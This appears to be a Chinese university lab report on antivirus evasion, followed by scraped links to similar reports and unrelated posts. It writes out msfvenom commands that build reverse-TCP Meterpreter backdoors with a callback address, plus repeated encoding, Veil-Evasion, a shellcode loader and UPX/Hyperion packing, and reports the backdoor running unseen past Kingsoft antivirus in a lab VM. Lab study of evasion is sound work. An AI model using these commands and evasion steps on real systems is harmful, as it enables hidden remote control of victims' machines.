免杀原理与实践说明

一、实验说明

  • 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
  • 任务二:通过组合应用各种技术实现恶意代码免杀(1分)
  • 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

二、基础问题回答

  • 问:杀软是如何检测出恶意代码的?

    • 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
    • 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
  • 问:免杀是做什么?
    • 通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
  • 问:免杀的基本方法有哪些?
    • 改变特征码:

      • 只有exe——加壳
      • 有shellcode——利用shellcode生成可执行文件
      • 有源代码——用其他语言重写再编译
    • 改变行为:
      • 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
      • 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1、在《Exp2:后门原理与实践》博客中,我们生成了一个后门文件。将其放在virscan.org中进行扫描,结果如下图所示:



可以看出,39款杀软中有28款报出了病毒。原因也可想而知,Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里了。

2、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=xxx LPORT=xxx -f exe > met-encoded10.exe指令进行多次编码,再使用virscan.org进行扫描,结果如下所示:



见鬼了,多次编码之后反而报毒的软件多了一款????可见单纯依靠多次编码之后的后门,还是会被大多数杀软发现并清理的。

msfvenom生成jar文件

生成java后门程序使用命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=5314 x> bd_java.jar生成文件如下所示:



扫描结果如下:

msfvenom生成php文件

生成PHP后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=5314 x> 20165314_backdoor.php生成文件如下所示:



扫描结果如下:

使用veil-evasion生成后门程序及检测

1、启动evil,选择evasion,指定payload为第七号即c/meterpreter/rev_tcp.py,选择设置好回连的IP地址和端口号后,生成后门文件:



2、放到virscan.org上扫描一下:



比之前用msf生成的文件报毒率低,但还是会被杀软检测出来。

注入Shellcode并执行

1、生成的shellcode如下图所示:



2、利用shellcode编写一个C语言程序后门,在windows下编译运行后,测试其可用性:



可以成功获取了windows权限。

3、不过,还是会被杀毒软件发现。

进行加壳尝试

压缩壳

  • 使用UPX对生成的后门程序加壳:

  • 扫描结果也比较乐观:



    7、测试仍然可用:

加密壳

  • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录
  • 进入目录/usr/share/windows-binaries/hyperion/
  • 输入命令wine hyperion.exe -v bd_upxed.exe bd_upxed_hyperion.exe进行加壳



  • 测试结果

任务二:通过组合应用各种技术实现恶意代码免杀

  • 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀
  • 任务成功截图:

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

受害者为win7虚拟机,使用金山毒霸,版本如下:



作案现场:



不在场证明:

至此,本周的三个实验,结束咯(束咯(咯~))!!

实验总结与体会

    在本次实验中,比较麻烦的有两点:veil的安装,和虚拟机之间连通。我装的veil在展开过程中在16%、25%、44%都有卡住,我重复安装好;我的虚拟机安装好之后默认是采用nat连接,可以与主机连通,但是要将虚拟机改为桥接模式,并将要连通的两台虚拟机设置在同一子网下重启一下,就可以互ping成功,然后再根据新的ip地址重新生成后门。
本次实验我学会了如何通过msf、veil-evasion构造后门,以及对简单的后门进行加壳保护,但是我们现在学到的两种壳还是很容易被一些杀毒大厂识破。

开启杀软能绝对防止电脑中恶意代码吗?

肯定不行啊要有绝对用我们学这门课干啥呀?目前市面上的杀软采用的模式无非就是按照已知恶意代码的各方面特征进行匹配,好比按图索骥,这种方式只能对已有的恶意代码及由其衍生而来的次生代码进行甄别,但对于新开发的恶意代码,拥有全新的代码特征、行为模式,就无法被即时识别,我们学这门课的目的也就是从学习从攻击者角度进行思考、行动,从而减少恶意代码攻击成功的可能。

2018-2019-2 网络对抗技术 20165314 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

随机推荐

  1. vmware创建虚拟机不识别网卡

    今天在给虚拟机添加网卡的时候,出现了虚拟机不识别新加的网卡,很纳闷,连的一样的端口组,为什么新加的网卡识别不了呢 然后查看pci设备,发现网卡的驱动为 AMD 79C970 PCnet32- LANC ...

  2. 题解:luoguP1861 星之器

    为什么全世界都说这是个物理题,不应该是一个数学题吗,神犇的势能完全看不懂 我们直接来看题,对于一个点,在计算时候横坐标和纵坐标互不影响,所以我们分开考虑. 我们记两个点假如横坐标相同,分别记纵坐标为a ...

  3. 关于bytes和bytearray

    背景 平时工作因为有批量线上数据进行更新,通过Python程序连接数据库,利用连接池和gevent的并发性能,处理大量数据. 因为数据方提供的数据表结构中带有varbinary类型字段,并非全部,所以 ...

  4. OS + CentOS cmake

    s Linux编译安装cmake最新版本 https://blog.51cto.com/sadoc/1910753 https://cmake.org/download/ https://github ...

  5. Linux记录-sftp上传大文件

    1.Alt +P 进入sftp会话 2.pwd显示linux目录 lpwd显示windows目录 3.lcd切换windows目录 cd切换linux目录 4.put上传 5.get下载 6.help ...

  6. idea使用记录

    1.在工具栏添加工具

  7. [BZOJ 4152][AMPPZ 2014]The Captain

    这道题对费用的规定是min(|x1-x2|,|y1-y2|).如果暴力枚举所有的点复杂度O(n²),n <= 200000,显然爆炸.于是我们要考虑加“有效边”,一个显然的事实是对于两个点,如果 ...

  8. docker学习------docker login Harbor失败,需添加http允许权限

    systemctl  status docker 到docker的service文件里更改配置 加上这行参数就ok了,然后重启docker

  9. Python实现身份证号码有效性验证

    # -*- coding: utf-8 -*- import re #Errors=['验证通过!','身份证号码位数不对!','身份证号码出生日期超出范围或含有非法字符!','身份证号码校验错误!' ...

  10. ibatis .net $与#的区别

    $与#的区别 SELECT * FROM TABLE WHERE Id = #id# 其中如果字段id为字符串类型,那么#id#表示的就是'id',也就是说会自动加引号.如果id为整型,那么#id#就 ...